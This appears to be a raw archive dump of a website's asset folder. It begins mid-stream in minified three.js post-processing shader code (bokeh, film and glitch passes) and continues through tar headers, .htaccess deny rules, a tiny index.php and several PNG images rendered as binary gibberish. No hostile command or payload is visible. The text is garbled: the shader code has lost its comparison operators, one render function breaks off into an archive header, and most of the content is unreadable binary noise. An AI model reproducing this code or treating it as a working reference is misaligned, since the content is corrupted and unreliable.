'gl_FragColor.a = 1.0;'); this.materialBokeh = new THREE.ShaderMaterial({ defines: Object.assign({}, j.defines), uniforms: k, vertexShader: j.vertexShader, fragmentShader: j.fragmentShader }), this.uniforms = k, this.needsSwap = !1, this.fsQuad = new THREE.Pass.FullScreenQuad(this.materialBokeh), this._oldClearColor = new THREE.Color }, THREE.BokehPass.prototype = Object.assign(Object.create(THREE.Pass.prototype), { constructor: THREE.BokehPass, render: function (a, b, c) { this.scene.overrideMaterial = this.materialDepth, a.getClearColor(this._oldClearColor); var d = a.getClearAlpha(), e = a.autoClear; a.autoClear = !1, a.setClearColor(16777215), a.setClearAlpha(1), a.setRenderTarget(this.renderTargetDepth), a.clear(), a.render(this.scene, this.camera), this.uniforms.tColor.value = c.texture, this.uniforms.nearClip.value = this.camera.near, this.uniforms.farClip.value = this.camera.far, this.renderToScreen ? (a.setRenderTarget(null), this.fsQuad.render(a)) : (a.setRenderTarget(b), a.clear(), this.fsQuad.render(a)), this.scene.overrideMaterial = null, a.setClearColor(this._oldClearColor), a.setClearAlpha(d), a.autoClear = e }}); /* FILM SHADER */ THREE.FilmShader={uniforms:{tDiffuse:{value:null},time:{value:0},nIntensity:{value:.5},sIntensity:{value:.05},sCount:{value:4096},grayscale:{value:1}},vertexShader:["varying vec2 vUv;","void main() {","\tvUv = uv;","\tgl_Position = projectionMatrix * modelViewMatrix * vec4( position, 1.0 );","}"].join("\n"),fragmentShader:["#if __VERSION__ < 130\n#define TEXTURE2D texture2D\n#else\n#define TEXTURE2D texture\n#endif\n#include ","uniform float time;","uniform bool grayscale;","uniform float nIntensity;","uniform float sIntensity;","uniform float sCount;","uniform sampler2D tDiffuse;","varying vec2 vUv;","void main() {","\tvec4 cTextureScreen = TEXTURE2D( tDiffuse, vUv );","\tfloat dx = rand( vUv + time );","\tvec3 cResult = cTextureScreen.rgb + cTextureScreen.rgb * clamp( 0.1 + dx, 0.0, 1.0 );","\tvec2 sc = vec2( sin( vUv.y * sCount ), cos( vUv.y * sCount ) );","\tcResult += cTextureScreen.rgb * vec3( sc.x, sc.y, sc.x ) * sIntensity;","\tcResult = cTextureScreen.rgb + clamp( nIntensity, 0.0,1.0 ) * ( cResult - cTextureScreen.rgb );","\tif( grayscale ) {","\t\tcResult = vec3( cResult.r * 0.3 + cResult.g * 0.59 + cResult.b * 0.11 );","\t}","\tgl_FragColor = vec4( cResult, cTextureScreen.a );","}"].join("\n")},THREE.FilmPass=function(e,t,r,s){THREE.Pass.call(this),void 0===THREE.FilmShader&&console.error("THREE.FilmPass relies on THREE.FilmShader");var i=THREE.FilmShader;this.uniforms=THREE.UniformsUtils.clone(i.uniforms),this.material=new THREE.ShaderMaterial({uniforms:this.uniforms,vertexShader:i.vertexShader,fragmentShader:i.fragmentShader}),void 0!==s&&(this.uniforms.grayscale.value=s),void 0!==e&&(this.uniforms.nIntensity.value=e),void 0!==t&&(this.uniforms.sIntensity.value=t),void 0!==r&&(this.uniforms.sCount.value=r),this.fsQuad=new THREE.Pass.FullScreenQuad(this.material)},THREE.FilmPass.prototype=Object.assign(Object.create(THREE.Pass.prototype),{constructor:THREE.FilmPass,render:function(e,t,r,s){this.uniforms.tDiffuse.value=r.texture,this.uniforms.time.value+=s,this.renderToScreen?e.setRenderTarget(null):(e.setRenderTarget(t),this.clear&&e.clear()),this.fsQuad.render(e)}}); /* GLITCH */ THREE.DigitalGlitch={uniforms:{tDiffuse:{value:null},tDisp:{value:null},byp:{value:0},amount:{value:.08},angle:{value:.02},seed:{value:.02},seed_x:{value:.02},seed_y:{value:.02},distortion_x:{value:.5},distortion_y:{value:.6},col_s:{value:.05}},vertexShader:"varying vec2 vUv;\nvoid main() {\n\tvUv = uv;\n\tgl_Position = projectionMatrix * modelViewMatrix * vec4( position, 1.0 );\n}",fragmentShader:"#if __VERSION__ < 130\n#define TEXTURE2D texture2D\n#else\n#define TEXTURE2D texture\n#endif\nuniform int byp;\nuniform sampler2D tDiffuse;\nuniform sampler2D tDisp;\nuniform float amount;\nuniform float angle;\nuniform float seed;\nuniform float seed_x;\nuniform float seed_y;\nuniform float distortion_x;\nuniform float distortion_y;\nuniform float col_s;\nvarying vec2 vUv;\nfloat rand(vec2 co){\n\treturn fract(sin(dot(co.xy ,vec2(12.9898,78.233))) * 43758.5453);\n}\nvoid main() {\n\tif(byp<1) {\n\t\tvec2 p = vUv;\n\t\tfloat xs = floor(gl_FragCoord.x / 0.5);\n\t\tfloat ys = floor(gl_FragCoord.y / 0.5);\n\t\tvec4 normal = texture2D (tDisp, p*seed*seed);\n\t\tif(p.ydistortion_x-col_s*seed) {\n\t\t\tif(seed_x>0.){\n\t\t\t\tp.y = 1. - (p.y + distortion_y);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tp.y = distortion_y;\n\t\t\t}\n\t\t}\n\t\tif(p.xdistortion_y-col_s*seed) {\n\t\t\tif(seed_y>0.){\n\t\t\t\tp.x=distortion_x;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tp.x = 1. - (p.x + distortion_x);\n\t\t\t}\n\t\t}\n\t\tp.x+=normal.x*seed_x*(seed/5.);\n\t\tp.y+=normal.y*seed_y*(seed/5.);\n\t\tvec2 offset = amount * vec2( cos(angle), sin(angle));\n\t\tvec4 cr = TEXTURE2D(tDiffuse, p + offset);\n\t\tvec4 cga = TEXTURE2D(tDiffuse, p);\n\t\tvec4 cb = TEXTURE2D(tDiffuse, p - offset);\n\t\tgl_FragColor = vec4(cr.r, cga.g, cb.b, cga.a);\n\t\tvec4 snow = 200.*amount*vec4(rand(vec2(xs * seed,ys * seed*50.))*0.2);\n\t\tgl_FragColor = gl_FragColor+ snow;\n\t}\n\telse {\n\t\tgl_FragColor=texture2D (tDiffuse, vUv);\n\t}\n}"}; THREE.GlitchPass=function(t,e){THREE.Pass.call(this),void 0===THREE.DigitalGlitch&&console.error("THREE.GlitchPass relies on THREE.DigitalGlitch");var s=THREE.DigitalGlitch;this.uniforms=THREE.UniformsUtils.clone(s.uniforms),"object"==typeof t&&(e={...t},t=64),"object"!=typeof t&&null!=t||(t=64),this.uniforms.tDisp.value=this.generateHeightmap(t),this.uniforms.damount=90,this.uniforms.dseed=.3,this.uniforms.drepeat=5,this.uniforms.dlen=120,e&&(e.damount&&(this.uniforms.damount=e.damount),e.dseed&&(this.uniforms.dseed=e.dseed),e.drepeat&&(this.uniforms.drepeat=e.drepeat),e.drepeat&&(this.uniforms.dlen=e.dlen)),this.material=new THREE.ShaderMaterial({uniforms:this.uniforms,vertexShader:s.vertexShader,fragmentShader:s.fragmentShader}),this.fsQuad=new THREE.Pass.FullScreenQuad(this.material),this.goWild=!1,this.curF=0,this.generateTrigger(this.uniforms.dlen)},THREE.GlitchPass.prototype=Object.assign(Object.create(THREE.Pass.prototype),{constructor:THREE.GlitchPass,render:function(t,e,s){this.uniforms.tDiffuse.value=s.texture,this.uniforms.seed.value=Math.random(),this.uniforms.byp.value=0,this.curF%this.randX Order allow,deny Deny from all public/assets/assets/gridtile_3x3.png000060400000000106151724235750013640 0ustar00PNG  IHDR!}4 IDATxc`πI%IENDB`public/assets/assets/gridtile_white.png000060400000000106151724235750014343 0ustar00PNG  IHDRؿů IDATxcyMPIENDB`public/assets/assets/gridtile.png000060400000000106151724235750013143 0ustar00PNG  IHDRؿů IDATxc`IENDB`public/assets/assets/gridtile_3x3_white.png000060400000000107151724235750015041 0ustar00PNG  IHDR!}4IDATxc&xq_IENDB`public/assets/assets/index.php000060400000000033151724235750012451 0ustar00nQg]_* R3 GI? ˴v$ýj3!!, $0eZy0q PУW )";qX^D50 Ո%`rJ{ 1$ʈ!!, $@e6$Ơ` 3*=  P\"F`P-d5V"2|?n"!( )e4xyc?   3 #wyJ l% o^[b_0 V T[0m $4>'VZ c3$X%!!, $`e:D3 H0,'j0Qs L(2HMj#ȉB \Oi`u=YEVL=I  > suI WJm| \"_b0 BcV"d]*K1" H|@B?I4# S$-||!!, $4ea:D hI /K$W- 0(`3F=pf@tQ  {f~*yS*mg) enu E^Z^ g@ kw(b& -w#" xW"t ##%U$`to!!, $4ea:* 1v/Kdzk#  F Y" % E  Cb AI4$ (z:2 mI Ll## F##>F!! , $4ea:* 1v/KdVtKG227D"$)Qqp8 y l |~6zw2j# F " % VC ]6a$ Q :2 \  EF I&x "͓F4$]#x!! , $4eZi䠒J16e E,C\3 ^3[ S|?!;public/assets/assets/dummy.png000060400000000104151724235750012471 0ustar00PNG  IHDR  IDATWc``h&Y IENDB`public/assets/assets/sources/flickr.png000060400000020042151724235750014276 0ustar00PNG  IHDR X'IDATxA  SjJC X X` X`` X`` X X`` X X` X`` X`` X X`` X X` X X` X`` X X`` X X` X X` X`` X X`` X X` X X` X`` X`` X X`` X X` X`` X`` X X`` X X` X X` X`` X X`` X X` X X` X`` X @ @,, @ ,, @ ,@ @,,@ @,, @ ,, @ ,@ @,b;(4 q;3GBq@G'q .\"Ɂ Yp0,+G| l(ǹ]_&YR?Mt=j~Ϝ{;ӆ8zv[.z{wJ։֋b51庘vYLj~)F7+E}]ݓBLa-kHi眻 \7)٫D 131 .Ąmbn?qq^*!?jB(Xx|18{+ذ()@§bVuBt7:/Xi"3 kF"E"gIN8\T éV1-p~S9Ƞzg f'DE{{5RZZFjB(X8*a9Q;LGKb'|$f.R9d?thW}!Q(XPx\k`6Agn;SFRm%w*QwuwPxǭ#X,B(XT`ԛhgղ}1--&/ƍի#X,B(X8zQĂA>9RRY.FxyѠƁ68, !,Bj%qm7QkIW$ERU8fϞM K }Ty`ue%Cy% >]&hzxТu, u?,tzW0K.//6md+*0BV_FM&Mӹ|>'?h@nKK i au˕zfmHLֹ^[@RvІr |-SzI/!bFXPK#x`Dڼg^? '0TMmFF&O?Zc-`E;Pkw\'EbL gXgj]h<"Q, X,vEGKGRsw~f, Dh4s~f67Z*Xի%N:.7`$iC(X(6~+1@ևb~/:١-ۤAbW\۷@> ,&XՎM`*466WCl:u*beP?j -)T}_<A\>jR 0۶mР gK( &Z'XG;j ˬ,,'(ˌ_O0lv';m9|ʄ!l`n U61tΜ9X"@+%` ݶ7"4`Q %mWh>r!Ip$N5';!,Bʞ[F&M(Xxl9B4ʢ!Xئܳg/Okz :Дj]P>k2 (n2 , #xYXX;J(ȝڂ7;v,.`a%&фP N[bAx}V2`Zw֬Y3`!~JU[W(X( ѳOJ,4A&}4]VEV,]!] `6{fgC  ;}fVP5h%KB.z1*a0/ `])Ь61`QP1fvF,uj lLݞ`ag_@B"˲`!,4#bM+ەdp`{b\|M]KP W,sJPqpqhʫEu15`QoX3`q,$wI`;SBSyA, *HaZ@5YQ|Q, ![lu MQZl5{u}cJB_s D Ȣ(Xؠk 7I$aK-mJ+ Q?g͘lrƍ (X*Uԛ:*$? ao'.QSY!E1cfKKօڹs hD@,5xF7 _]׈Z1IB(XօBG܀ZDM͍4?B"{EZOAIV1ے\0A )+%%E|dB܀JJi͎G=#,XIIɸVG8aډlCgWi Y Ƙ 5?q, !> rlTA#zAEF2`:uJBpgc ah_]UUmA",z q-U\4gE ]FLFu  G%*H`͛oLz5kHLSSӬ&XE?:+ݴ-tpR75bG2`|-;W^ (X ?YbR(YMw6)~5PL'XHPSsÏ?i@$mڴUc4VjE(X$*nWGb;] .6e3i,3 XPj ={Qhۋ/JL -qjE(X8&|sZ8qԂ`", *^b“'_8p *`TUG٢Pq>hVmKNNeVByHR ҥKwfn8 KMuvm %ի_7B?ŇL̬8߇bx0 Z"Ȥ`o].&XE;>ULXV+=e$cCMW!ǥnP-X!]p&ƛo38f@ !m &7lؠ`JA<6 -(XEHLb!:%Ůb 6:K&ωf+.'> (`d?`Çe,B"ĕT8j&en;hzKLꑉ`QPs. &x(s,B",Wv;{™( +|CLT2XI(XRHF^ ]# Xyyr q6 hA",Bܾ,Ow+-XD1JCZO(Xj-[DFBpʕ+d` BW=R+Dud:?(P0]=!g*X,HxWˠ=P"Q.mB `T6]Ŗq̏KoZ3|H}*k  '5J… ,l!2']S `-,p?U:mAvuU̎]5ze(^OPR3rωuڂE(XxYRSÕTYW|AGx<3 K}`B A,̙3fq",BJʦ+LU@nyb\d _L5ˎzI}mxTde5B8}݈ uuGk644P^k,wqVF NzSLSTeT?es ixπ8]7-MPI9ҝ,B"ve@1*Hb:#c W}*f5[ao(eܹsii|iF]$MnhHW̝:tHՎ0RUUx^zH: zm5{⇈[`b#oelYWCE3d(JRL̒Ą)@ˀ:6 ipEch|P8gddvX$S:;v,9T@N !"D@GBå`cPIhc=hbbjjZǓk)JuŸh 7>PE;g;t=[yJ@∧٘­Μf8S<^sGC.{wJP{MLiUD|WL{URJQ={n[50pQ@bn޼®"Bh(h }/uL k;x @ M @ ,@ @,, @ @,, @ ,@ @ ,@ @,, @ @,, @ ,, @ ,@ @,,@ @,, @j( oCc! X`` X X` X`` X`` X X`` X` X X`` X X` X`` X`` X X`` X X` X X` X`` X X`` X X` X X` X`` X`` X X`` X X` X``` X X` X X` X`` X X`` X X` X X` X``0içIENDB`public/assets/assets/sources/.htaccess000044400000000177151724235750014125 0ustar00 Order allow,deny Deny from all public/assets/assets/sources/revolution_slide1.png000060400000033714151724235750016505 0ustar00PNG  IHDR X'7IDATx1 0 )]¦$2t<9',`,0X `  `,0X `  `, 0X `  `, 0X,`  `, 0X,`0X `, 0X,`0X `, 0X,`0X `` 0X,`0X `` `,`0X `` `,0X `` `,0X ``v,`0X `` `,`0X `` dꪁwQV /*l/#+{XH'B!ˤN2=$3>)7q>g;CtU/ׅe˜9`)ZLi_|1>p`C|۾23qdc,"3ȼ7,k7mrdfJS|n#?n{}ʸ6gE< oQ꣩_W٣]uuҜ9˦O=:˻wBJI^{Z!Th,XDDSިQgk|Vam%_|yˡwޑǵwܡt/"ED1V,-~0YUxo%wkxUS]wuݞar`g-3Ǒ'ی9*2|-ԗ<; Tn,XDrG^7M`+ry ׏=&Fvn XPc""JP9zz\us핫VYCnnѻ&Z`޽vWzoE8eK R1eERg˼ԁ3j_W6{%XD\ ,4iI-Ǫnz~_fo!պX*H5c,"J"uL!OHPO3Vtc,"Rp^ms=;;,f% S긮TuSiI[2cPP8!##WվTuqI6YeQ4gV?H5#XJӟl˗sAВKJyq=_x/,svkg~4"EģKYmLL}u0~*D`}UgYd~3۶mW^ɽ? e7OuiK("EDY=Ԙ$\ٍw];tT?(gPرpiw~/:Uz}'vT˟XD7j\^uLLʕWv Rb X]+&o,"JWrǏg\/nWz]0_(ۚ%c]4o%I;rrX~"7%&fsgq2kn[VJYX5EDIR{1V|y2KVו cY5ED;e7̔~:}) ^W˪,"*svKƼ2WSS1:~Uz]~"w$kOnsXʕ`{f`Y3fxEW*e~R‡1VtG{}l(X̙^ӕj; }W!EDYCjkOXsMM`R)`yOW*ehyG{10v2~3Ǥۭ+eh;]U,X ly x]r饮:+eh#[Hƴ\Ɇ 'Ԙ*5Ot).XDti 1jlMWڪXH]v߲|+moYY)cǵŋ}m*[gv᱆u΍0aǛon=zᆟr={Bгg]uժ ={ر1|paNHHف <u`QΣy1:33m͚O> y)0Mk-M?R3Zy{Z5B&̚Um[Ci{K]a,XD7jt:%;| oVںוjmiщ'}w+W*I4Е"EDy?/nؘӃ~zgOPP~Oq_[j,}t.N`+6uM/8Wd~8%'}ԅ EEGXZJ`yg]w5wT+~bA7XJ&.`yܑ#SW O_v bjӺLi()^PW*E<򈿝jw;ׯ}!EoT+Ղ~b!9Ίt"E2ׯPWXq,O+zn@i+!~=;XDvz |1GV–m uJt֕ER.UU%>˕M7)K ]nVʮYW]o,XDtyys:qWVM~owէYK[]u`Q ;oޜ}tT[.FPvn]:i,XD'D-zҥs/Xt][ ݻt.:ptu"EDg,/Z.Z2!~LX c"k !=PCm8.'GP]v 7OEDg[RZhi38'BW֞xb ';,uXګU樮yY%* ]-kis XDvKZb.D]+O7?"ENB4XS(-i+t)v<R&Dġ7XDT}4<𕖺BW ]ڮ:: 1,"*#iu: ]yܿ&[ZDW0"믷=E.U0_WӦ~d,KS$o ,"zʒ&tn7+teT+$Y_/!`YFW `QO?I稩Yy}8]y~.C2+(롇ɫ+*Z𷿡+Cuå-XVXD`}*RRf>2ZWbǍX c,"28QQO; ]Y@WZJ8`YXWED9<"]ƍJE2:uեX[W*qPoѕtϞcy]a,*Εf.=8te9]ElhjRE0^DuЕt$]f,XDqB4]7yH;j_W c,#dzq622NWQFyH;j_W c,"ܝPjoЕAi Wkw"J[R]+StgGVuTXD%&H헸l2EWQG{H;BW#7W\sBW#_~)>y3X4HjUti_Nn ]uFW `ue?q~_4Rwiv:+WNMԵk5 :t黱(,ty]a,E%e "uZ׳guri ]uFW`[+,ʅ ٶMg]5BGDHUguX `]R}!twQ;2]+ՙQ]wIWBWFW cu2ET6u{zK[]y{]+t:"jk_v= @j3O ]u<:БUXD)/^Ez ]RgΔZ`uЕ"ETR-=uBu55I\=.]uXjn"%EO]+UʷJR_|]u:n,XDB"Z%=?_j6{^Xr}T=<=uB>[7gX>sBWMW^)xMo ]a,EN Rm3FO]+UnKj60dt0VQ_קBW Nco ]a,(:Zg]+Ն>}KJ6cy_~+]+O `M"5^: ]n)wҰ0X͞=>XS=Rx% ]yZ#D-,Y(+>+_Z]+Xed+Stպ͗]ǎMIT)G/XJkUƔ)srfx(X[E?d۶>!Qb?ՕZ\DW `(5ށYЕqR= lӺ6oUVކ6mlզ6mnӯrjު68Rmک) c,1c[# ]+te0"\D:9Gt2LW `5$&J]WktBW-$Es]j|ݟ}f ]+tXG /5!CBW|]a,E~VsY'BW c,ʾN꺊d ]+to,ETiu XOW ]+te}c,"GVutBW7"B:R-Z ]+to,E,o1:rBW ]+ `eyu ]+te0"%֬Rf{IO?G3fYSymV͕6K~2jԁ#XDfU2qu|b%]+tqɣG.XPnnUw@'=DBWHl˗K]SBW'[ջwK[vz%K ]+Eo{H]GWh]E_snjݰGW `XSqusN8]+Cu3.nUAW `tsԠ+te}Y]-把FW `RRוš+tevQlMMF+t(ꫤ BW,]‡OtS CW `w9]+t >88`BWfBW `;BWJ1nBW `-[k(/_W ]_j9[PBW7VZ:+K]+t.DC(gto*S BW ]+E䃲 Z.a|pA ]+U&u݁>}XDZGR_|U_?tҕ*ǤFW `SI˖I/.}'ЕqRe#nGW `U!Çd74&f|g]+UiR5+tH0̞=#>'2WW(Z&, ]+E1C>%7ʲ>^W_EW `iTzqot9Nc+tJ:TjoEW `i#'G49wBW+K2]+EENc#G+t%ᐺeCW `iM; -uTo!5^UHBWHJ&MڌMЕ.&Fj7@W `RĉR?AO]?Y꽸?]"Ҥモz=uTEsHgOL܋`S̙R`mu"pR}5"EtXgg+t;VAa"X|spUWi+t[Fo第܇` `19tBW'zl|tErn!j""K^t,"nAuS}]"XبgWJU.^ܹb$J6ouE`M眭Е:,Lwgg`,V0dU­JW~+XDL]+UmTߓ]"Xi7CW*g _]"Xiq ]E ѐ-_ֈ+XDU8s Re~NmHYBW{pVUIW/tE`qh]_fAgutE`YH{^F ]E Qw4dE&+3"ET>g8nЕp4i\v{,2%XDKcK81|]',"e# ]ŜwZ2W]],"Ez=Еte+ɓ,"ebb6ꅮ,+U?Hs欪EW%+$+k*ץQtE`YH{otJs((AWEWVU8QSODWuX\+*Z4i챱,"e#2#DmD4m)ߎ`,`Z%$te]E Qey@W++bZi }+XDGGX,+Uy~)"`q]YIW}g13s?"XLm~u]YMW~+\`‘vtgWbrtevV zf͒fYYrxtwKYGWDk~u*]`[.t]BFFJc笮;TtE`YgyyGsub.!3SCWDVڣBWC8ɫ FWD5gۻ74]%M^SqAtE`Yx}B lri!C"e}cm衻UL߾u11Μ"XXMR^J1YS#͟=&&],d5AA͘=??utBijk?߿tE`暚GW_jOMVYְa~+"E|H!r?$ٳZWD+ ؀|k۷OZhuQQ1`buii;U'\Zw` `1njJ7.[BW)=yv8RDWE`~~ݪ+tsE  `Xi'nh7 ]E QnCZq%Ӧ+"EXUBWBdeeҢ AW`bEkք]+Eѣ=ǭ,Xܜ3wDW!Zyj5DW"\GN9]u(!ǎmϗV_sii碫b.=o<]=-rl檯O], -0].;W<v:3x],޷/Wt?S;UwE`1gmmEWUɏ?^tk`7XQT=mZj]])W% ZxZ"oXSyyO?|0jYgJep^ ƍCWbn***}vt)D!_}U([ ?],"חΪsMKx={>묔 gά;xP\Xф `,UZjUG=hD߾ǩ=7q_۶mεm۶m۾s6k$i7eR6SLn|9PWF޶ot_^_},ނϢMNn7ި /?쭷\Yo=A{n6~FSaPG jhp dg%'N<9w޼E\ vZu[n ib]@`7t5*pFedƘ^GT{uXzu'u5g)SƆ{}ӧPWZ ߿vu+b__p,t6{.XUoXW-芏W[9 ؃0X՛=k8J5Oؚ/Vua ٙXWw$'+\eeGa4 @`^}\ܰUXmy-U-Y<XU#TW")"B Ƙ`({oS@`Vt]uVal$ uX՗?g*~$^y%`+-Yĉ"QRWXmͺ Ktybas1EM]@`NJd<~Qa7Cf+'ۺ +O{3;?HeuXRWKTjU}RlLWWXfH+UHHgnE TzI$ k$cU~~!*,*,,"uXsώR%ۮYUUWDXX<&JfV7].ijK.1PWDy`NRE#@BBgD+?sYWa:'p+9._6D]@`wUu:(M33uvVO1RWX@`k9_~ 8 o6b ^~9J&z1{qFkί*{uX1VԩQ\Wa"OїWZͫjHH @iب0HM7LJ~eƝ O>YzjWn] @`֔=*Sz%Tji6rN;Eu e_tQl֕*cqͫy/%e>b=+gJ~X *^R-6MaK/3qb--7+3+nzHQ\\L&%Am:]뫯VwАDe`.iϧVXWCE*[A˖UgeWH]QWӕ5_AAzQWSW*)ʖO>tsi(䮪o㣏VsLA8b+M['jmJ9(KtAw_Ȃ#??x2.$D*늺,S}w6u5 u5T֠-6/;gmwcc(Pt!]UeE9UuEl'2u hep:󮻎S#YWC-X(bcΫ7YlFo,u?/iiqZ&Nwi|≚*;X犨¨ ( yʪ֗>ըj[}{~x'yꪫs+<N;Ëۯpz9K@`~RV<^KEȬ+q+3uE]E55}n'l,ꊺuX@HAgqW֒wMy"uE]QWk P@eà z`f""??wWveWv2ߕ]ٕ]cweWveW`Xʮʮ@9]ٕ]=Dz++"Xoʮʮz X8]ٕ]U Dz++ʁ`Xoʮʮz X8]ٕ]U zgWؕ]ʮ ,(eWveW`Aiٕ] X[veWv]ٕ]= X8+ Zˮʮܲ++@ ʮ@>ڕ] XZveWv]ٕ]eWveWٮʮֲ++@ ʮ ȃl+,p/veWv]ٕ]ymWveW@,`ە] veWv]ٕ]ymWveW@,`ە] veWv]ٕ]ymWveW@,`ە] veWv]ٕ]yʮ ,`绲+ veWvOP:veWvV]ٕ]@cWveW9,ؕ] 8veW]U+@cWv ,ؕ] 8veW]bW!@cWv 8veW9@cWv 8veW9@cWv 8veW9@cWv 8veW9@cWv veW9@kWv veW9@kWv veW9@kWv veW9@kWv veW9@kWv veW9@kWv veW9@kWv veW9@kWv veW9@kWv veW9@kWv veW9@ʮ @ʮ |Wv X仲+&ߕ]0 @weWL+,`]`ʮ |Wv X仲+Ʈr] 0v,`* XU@`cWƮ`]ȃ0v ` @,+Xv `@,`W}'oG{8{IENDB`public/assets/assets/sources/vimeo.png000060400000044342151724235750014154 0ustar00PNG  IHDR X'HIDATx 5g-A#>`` X`` X X`` X X` X X` X`` X X`` X X` X X` X`` X`` X X`` X X` X`` X`` X X,, @ ,@ @ ,@ @,, @ @,, @ ,@ @ ,@ @,, @ @,, @ ,, @ ,@ @,,@ @,, X` X`` X`` X X`` X X` X`` X`])rf`\Ѹ{r_)(3VU#=Нu7~ПU^xzO\uTG$3?XUj͚jQuǔSr/{kIfO-2"< 2 ,W֟`r/{K(.:Z>: &#Wڠʽ1S =,{rsdtL{H:kdX'$'"{ kܴ^k o[uXik$jpL`+;RX,͹'Jz;";@`y"rɱzgQ+p^`VwD>R3X'zcY޸}F/r_L9w;XO~Pú:Z4q3 ,AnM>1#[0k5ʼoJ[p; kpjQwr)сIqߤ;ݓrdu~[ZwGnJᎬɊ'F2x 4Ž3oZLj O\9@`OU4kmT4/۶t0;e̛1Z%J0^4f/ZC. ,i'h9 ;Sɾ(GK,?;;{lGMuD'yXSouRh%4٤)[Z5W՟XZ,̺2 ,X@` ܄) dU-k~ лb-,[F:S?O~]}b;8֮q {=zKz ؖ-ے;c0`ھV̊1*;{~9A339ylɿ,XPچLY,r $'V,X0"% a>ZHw t @0. 'Y6kۥ6) +`ໃgo=9!w סEVA.^ ac55Ⓩbv+[hE\Ȗ^HAHxK/^ r8 -3F̯׋zq@Bf+eb }^ ^7 nG}O+{D1!6c+iU\a#dЌqy0{5sی^)/w;7Z">5y'q?ECΫԯ?VnwnUniɡ뜟s)gs܄qV/5|322Ը9^YQ/r r]77xqڮ~CZqDq2:ם V |?ם'՛$|h+(ς,ϫH_vhڧTyM3Y(dVre{F(q.|_cdx˩2ۻڄb.`hpۨ  Ufm' 3*zdϔ.YxNGi|n{hKp[K`?G' vv8&<晏K$c)dqmL,³"-^&߽Q6Q߻| ͝׶O (Krk,O5n1=(`DܗrVOLiNCP cZ sz1!E̬""9  `H9*nUx`:tӊ>6dF%{|}f(ku3,wx6&-v C $=> n[o5ňpKqXr:MH^rIHtlc3C[zۺkRa=T2 ) ")T<@wʏb>};Ubf^eׄשxh2Ju݄qF8 H@D <&[$0H%'*i/WXL ,`g}d> ``A8:{eH9Dip.wS{qcL#o髚ہIFv@N fC 4t  SBcW_$rΝP %Ϭִ" ~n'RY Z3Bf/Uo4JYZS1&ä6&S> b>ɅȺ1l wKAB)":B6axhN%>N(dMˊaօ; $e+ }WN"%,ee` ZQYɗ7 SZѬh L @v]> Q[˝ -IȨi:Ƽ]AN);t$cqf?lW$=ztkqT\Dq Dr[DZ=o֟T}*I rne_ݦ7ƽӗU%q*w/N6i;7'4hEXf Z{3zN)*C` Z#K%?%'IP[,}g ߷YW^+%4@(Ģjɯ\Cwم QTuw.?;mm3*ẅ$˲1{qH>K-T1Ȫ  [XmJ%&jܔkIBNi2s੅Vp<5΂,)Įy tِjH> 2נpoc%|'ң$_(Bm0,*} jK,ꠎ,p/ܽeC6 m$s//t.a J!a%;yab@f(YX,R\Uo48 օ8% wyyM\ 0GKD!-A#} 2DeQ ¦6?}[# LnK8C6|0M4讼Z1E~XE:nG߼]l ΣVm (WOGbc! {aJ Y0"XT~ŞX_]6 0GC# 4?p {!ih Ї_Te @dkZ3) ϑ"Zw(LʃJ:D&qPXRu|׏J F!,b/`nDg'2D p}.6\ӁPRUK+&oLDSvFϭ㰮[]ݿQ>Gi皐fbOZDd uY7_ =ILLq !;JB471Մ:3=%>=jLG,baвz~Pck2씢XEXV:XNs) ^,Dp"ThM )75btRHꞍJn<]exu0WwV$XbiASAC:K;x(V4ij ?N.5" ӸcQ -ł$% -Y"Â,$b ?ۻ՟PKeZV%VI:piwxM]:7Fu #H8VW>XvexV_^;(c昈~{p@FG]4[,.6 &k/$?+BKm]9c`E3ca>X"(*81){I63(qS\,X>[v}4lr,,\tҿ1F_,P>()D3V*\=x uWfYTZE {i* Y0ł+a9wRޠ_wʯUr߰"\ p v*G9#IItfY1ŕ?_aik=bN`Ã3t4VZ.Rw-n߲dY0łuaN| bRu6ICW83G]U>#E-CfR`/cMݻQ/1Dྠ]a?lu+l&&MG<fa՘( Xm%J8Jfy'fl]5 ֮FC'A۷RcTM6$C3;n!BvcJf\:rKw4Wحm/(_-iS#z@0NPv5-B$  `݂]u˓EWFkRL#vnWh9$y8 n9PfT0Cڲ 'H*g8~?|)1dügC;"zauh!e&eR{sw5[׷STM<ljĂ,,-X /Fx~%t2D]$lIo)$yxax~HtBW [5ǿ,UUy2sV[yQu[ }Pȫ̭qKga,Y7oDZX0Žh]L2EetTEMش0ÆI2A9貌r>j\2~ۜ$껟P-N$+[gB{VSg> Ŗ"$N l]N3uGȓO>:z<rt˒=t}(v Kzi{j;_`ont#i]x΀]2\qN$R%)k\ JNQ0֤T3aAJ\`DQ7.Y<U&a3U} {7+84F=s:  g!.+YɵЫqv bl;` w~ƭ~&%'fmGBcHJn˜6cA䧫p tArp<fl<u}?Qjt1Yg xoQ`;mw0_:4g3hWò,bA;uOxwx滻u. i_}Bs`c-)v Cz h/ѲDȰf;6}?Hlwc6C׷K\a]ehm*dX"=sF-/=9'X`CgRA[a-0&a^ga_f=Y0ła,V6 'gߵI`V V "zSoQ%X,M&xTӝC{q,$---q=E/Ò8E6%asn\m#":tp-`ذٙ _T- [nVѨ¦RWٵ#;lK=!QޠqthVF?O}dX,bA?ʬ4==RQؚbίN}:N$!C$iBxoiA.Z;越:: Wrvۅet^,K.sLwn˂)Ah z(!VUk XG6 l9B#MQ v`S0łx}DETi~/ڥIyz9PXXZhml f5_QaEkgˆ4vWyX.|unh&pR..w/ Pw2pG\@%0eE;ְ36m[јU |ߥj fWs%sqLpGn3;*~;Η95^\  `BZ?\WtHnRT"mRL$S NknLo ,'JymcƆ3z ڗo뒼I1[fË]P4U?shˢ$d !x'4)P/g .n66i8v4=8c}J㢌$.zO/!Zu,RI:/z.jł,ن,M9G|  skOj ^آ^"X{Á9ћ-!P("i+,ЯZU?{0T ysQ`vs[hJG9q&)Y^E#Kh@Id9 ц{xk̫O.“JF1X,R fUr( 񮤴ՙy Bzr1ցA_=E!g/+y͋ג2cjxg@xO6Q @P$myɝAOHP. M]RPn2VF=1=J-/JEcbK&b-l&B< 2wɴ ?#,G켖h;]k}YF$ARTi_'*17u4~< Thg6S簀lѕU?Cg{ǣͲNI гW- ֭bPўA,O; U>(eX,R$ʬqf nԾUbT\plOiVyf )mS HȡËTeabU1HBb˦4_Ou2+Ϫ[;%jlWGJ.?:)w lds1A:APn 